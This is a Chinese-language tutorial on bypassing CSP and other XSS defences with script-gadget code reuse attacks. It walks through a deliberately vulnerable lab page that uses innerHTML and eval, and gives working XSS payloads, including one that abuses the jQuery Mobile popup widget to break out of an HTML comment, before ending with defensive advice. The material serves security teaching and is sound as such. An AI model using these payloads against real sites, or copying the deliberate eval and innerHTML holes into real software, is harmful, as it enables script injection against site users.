通过代码重用攻击绕过现代XSS防御
字数 1256 2025-08-15 21:30:43

通过代码重用攻击绕过现代XSS防御技术详解

1. 背景介绍

XSS(跨站脚本)攻击已有近二十年历史,但仍然是Web最常见漏洞之一。虽然现代浏览器和Web应用已发展出多种防御机制,但这些保护措施并非绝对安全。代码重用攻击(Code Reuse Attacks)是一种相对较新的技术,可用于绕过大多数现代浏览器保护,包括:

  • HTML sanitizers (HTML净化器)
  • WAF (Web应用防火墙)
  • CSP (内容安全策略)

2. 基础示例分析

2.1 存在漏洞的示例代码

index.php文件:

<?php
// CSP初始被禁用,后续会启用
// header("Content-Security-Policy: script-src 'self' 'unsafe-eval'; object-src 'none';");
?>
<!DOCTYPE html>
<html lang="en">
<body>
<div id="app"></div>
<script src="http://127.0.0.1:8000/main.js"></script>
</body>
</html>

main.js文件:

var ref = document.location.href.split("?injectme=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);

2.2 漏洞利用POC

攻击者可以构造以下URL进行XSS攻击:

http://127.0.0.1:8000/?injectme=

当CSP禁用时,这个攻击会成功执行alert('XSS')

2.3 启用CSP后的防御

启用CSP后(取消index.php中第5行的注释),攻击会被阻止,浏览器控制台会显示违反CSP的消息。

3. 代码重用攻击基础

3.1 基本概念

代码重用攻击的核心思想是:利用应用中已存在的合法代码(小工具)来执行恶意操作,而不是直接注入恶意代码。

3.2 简单小工具示例

修改后的main.js:

var ref = document.location.href.split("?injectme=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);

document.addEventListener("DOMContentLoaded", function() {
    var expression = document.getElementById("expression").getAttribute("data");
    var parsed = eval(expression);
    document.getElementById("result").innerHTML = '<p>' + parsed + '</p>';
});

3.3 绕过CSP的攻击方法

构造以下payload:

http://127.0.0.1:8000/?injectme=<div id="expression" data="alert('XSS')"></div>

这个攻击利用了应用中已有的eval()函数,通过控制其输入来执行任意JavaScript代码,成功绕过了CSP。

4. 现实中的脚本小工具

4.1 现实场景分析

现代网站通常包含大量第三方JavaScript库,这些库中可能存在可利用的小工具。研究显示,16个广泛使用的JavaScript库中几乎都包含多个可利用的小工具。

4.2 小工具类型分类

  1. 字符串操作小工具:用于绕过基于模式的防御措施
  2. 元素构造小工具:帮助绕过XSS缓解措施,如创建script元素
  3. 函数创建小工具:创建新的函数对象,可供后续执行
  4. JavaScript执行接收器小工具:可直接执行代码或作为攻击链的最后一步

4.3 jQuery Mobile实例分析

修改后的index.php:

<?php
header("Content-Security-Policy: script-src 'self' https://code.jquery.com:443 'unsafe-eval'; object-src 'none';");
?>
<!DOCTYPE html>
<html lang="en">
<body>
<p id="app"></p>
<script src="http://127.0.0.1:8000/main.js"></script>
<script src="https://code.jquery.com/jquery-1.8.3.min.js"></script>
<script src="https://code.jquery.com/mobile/1.2.1/jquery.mobile-1.2.1.min.js"></script>
</body>
</html>

利用jQuery Mobile的小工具:

jQuery Mobile的Popup Widget存在一个已知的小工具,它会将id属性写入HTML注释中。攻击者可构造以下payload:

<div data-role=popup id='--!><script>alert("XSS")</script>'></div>

这个payload会打破注释边界,成功执行注入的JavaScript代码。

5. 防御建议

  1. 严格限制eval()等危险函数的使用
  2. 即使使用CSP,也要实施其他防御层
  3. 定期审计第三方库中的潜在小工具
  4. 实施严格的输入验证和输出编码
  5. 考虑使用Trusted Types等现代API

6. 总结

代码重用攻击展示了现代Web应用安全防御的局限性。即使实施了CSP等高级防御措施,应用中存在的合法代码仍可能被攻击者利用。安全防御需要多层防护,不能仅依赖单一机制。

7. 扩展阅读

  • Lekies等人关于代码重用攻击的原始论文
  • CSP规范及最佳实践
  • jQuery Mobile安全公告
  • OWASP XSS防御指南
通过代码重用攻击绕过现代XSS防御技术详解 1. 背景介绍 XSS(跨站脚本)攻击已有近二十年历史,但仍然是Web最常见漏洞之一。虽然现代浏览器和Web应用已发展出多种防御机制,但这些保护措施并非绝对安全。代码重用攻击(Code Reuse Attacks)是一种相对较新的技术,可用于绕过大多数现代浏览器保护,包括: HTML sanitizers (HTML净化器) WAF (Web应用防火墙) CSP (内容安全策略) 2. 基础示例分析 2.1 存在漏洞的示例代码 index.php文件 : main.js文件 : 2.2 漏洞利用POC 攻击者可以构造以下URL进行XSS攻击: 当CSP禁用时,这个攻击会成功执行 alert('XSS') 。 2.3 启用CSP后的防御 启用CSP后(取消index.php中第5行的注释),攻击会被阻止,浏览器控制台会显示违反CSP的消息。 3. 代码重用攻击基础 3.1 基本概念 代码重用攻击的核心思想是: 利用应用中已存在的合法代码(小工具)来执行恶意操作 ,而不是直接注入恶意代码。 3.2 简单小工具示例 修改后的 main.js : 3.3 绕过CSP的攻击方法 构造以下payload: 这个攻击利用了应用中已有的 eval() 函数,通过控制其输入来执行任意JavaScript代码,成功绕过了CSP。 4. 现实中的脚本小工具 4.1 现实场景分析 现代网站通常包含大量第三方JavaScript库,这些库中可能存在可利用的小工具。研究显示,16个广泛使用的JavaScript库中几乎都包含多个可利用的小工具。 4.2 小工具类型分类 字符串操作小工具 :用于绕过基于模式的防御措施 元素构造小工具 :帮助绕过XSS缓解措施,如创建script元素 函数创建小工具 :创建新的函数对象,可供后续执行 JavaScript执行接收器小工具 :可直接执行代码或作为攻击链的最后一步 4.3 jQuery Mobile实例分析 修改后的index.php : 利用jQuery Mobile的小工具 : jQuery Mobile的Popup Widget存在一个已知的小工具,它会将id属性写入HTML注释中。攻击者可构造以下payload: 这个payload会打破注释边界,成功执行注入的JavaScript代码。 5. 防御建议 严格限制eval()等危险函数的使用 即使使用CSP,也要实施其他防御层 定期审计第三方库中的潜在小工具 实施严格的输入验证和输出编码 考虑使用Trusted Types等现代API 6. 总结 代码重用攻击展示了现代Web应用安全防御的局限性。即使实施了CSP等高级防御措施,应用中存在的合法代码仍可能被攻击者利用。安全防御需要多层防护,不能仅依赖单一机制。 7. 扩展阅读 Lekies等人关于代码重用攻击的原始论文 CSP规范及最佳实践 jQuery Mobile安全公告 OWASP XSS防御指南